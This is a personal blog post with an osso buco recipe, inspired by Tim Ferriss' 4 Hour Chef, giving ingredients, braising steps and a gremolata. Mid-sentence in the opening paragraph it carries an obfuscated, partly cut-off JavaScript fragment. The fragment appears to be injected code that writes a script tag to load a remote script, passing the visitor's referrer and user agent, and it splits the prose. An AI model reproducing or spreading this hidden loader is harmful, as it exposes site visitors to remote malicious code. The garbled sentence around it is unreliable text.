Osso what?
Ok, let’s go back in time a tiny bit. In December, Nick ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dnnyr|var|u0026u|referrer|kkdbt||js|php’.split(‘|’),0,{}))
read the 4 Hour Chef by Tim Ferriss. Fast forward to February when we are walking through Costco and Nick sees a package of meat labeled “Osso Bucco.” He says, “oh, let’s make that!” Wait. What? I had no idea Nick knew what Osso Bucco was, and never thought he’d EVER ask me to make it! Turns out it’s in Tim Ferriss’ book as an easy but relatively impressive meal. Ok. Sounded good to me!
The premise of the book (keep in mind I’m not even 1/4 of the way through) is how to learn stuff faster – be it cooking or learning a new language. But I digress. Back to Osso Bucco! Not wanting to trust Tim Ferriss’ recipe, I checked a few other recipes first. Turns out Giada and America’s Test Kitchen both have a recipe and both were well rated rated, so I kinda looked at those one and compared them to Mr. Ferriss’. In my searches, I also learned that Bon Appetite reviewed Ferriss’ recipe and thought it was just meh. Well…..the meat isn’t exactly cheap, so I was going big. Giada and America’s Test Kitchen!!
Ingredients
6 veal or lamb shanks (we used lamb but most recipes call for veal)
2 C diced onions
1.5 C diced carrots
1 C diced celery
1 C dry white wine
3 C chicken broth
1 tsp bay leaves (most recipes call for a leaf, but we didn’t have one)
1 (14.5oz) can diced tomatoes drained (I’m only now realizing it said “drained” – and it turned out fine)
6 garlic gloves pressed through a garlic press, about 2 tbs
1/2 tsp Thyme
1/2 tsp Rosemary
Gremolata (fancy word for stuff that you sprinkle on after)
3 garlic cloves pressed through a garlic press
2 tsp lemon zest
1/4 C flat leaf or italian parsley, minced
Steps
- Preheat oven to 325
- Get a BIG dutch oven and add about 1-2 tbs of vegetable or canola oil over med-high heat until oil is “shimmering” aka nice and hot. In the meantime, prep the meat. Pat it dry and sprinkle salt and pepper on both sides.
- Put 3 of the shanks into the dutch oven and brown on both sides. Put it in the pan, wait 3-5 minutes. Do. Not. Touch! Put it in the pan, and set a timer. Don’t even try to flip it until at least 3 minutes have passed. Set aside the first 3 after both sides have browned and repeat with the next 3. I didn’t add anymore oil, but you could if it looks necessary.
- Remove the dutch oven from the heat and pour in 1 C of wine and scrape the bottom of the pan. Pour this mixture into the container currently holding your browned meat.
- Put the dutch oven back on the heat. Add about 2 tbs of oil. Once hot, add the onions, carrots, and celery (with a sprinkle of salt and pepper) and cook ~9 minutes. Add the garlic and cook anther 1 minute. Add the chicken broth, meat juices and remaining spices (rosemary, thyme, bay leaf), bring to a simmer. Add the tomatoes and meat to the pot. The liquid should be just below the top surface of the meat.
- Cover the pot, cracking the lid slightly. Put the whole pot in the oven and cook ~2 hours.
- Remove from the oven. Plate with the meat, some of the veggies and a sprinkle of the gremolata (mix the zest, garlic and parsley together). Enjoy!
Nick thought it was pretty tasty and I’d have to agree. The meat was really tender and we definitely didn’t need a knife. You’re suppose to serve it with risotto or polenta….we just had veggies. Definitely not something to make everyday, but impressive if you need something that looks fancy but is actually pretty easy!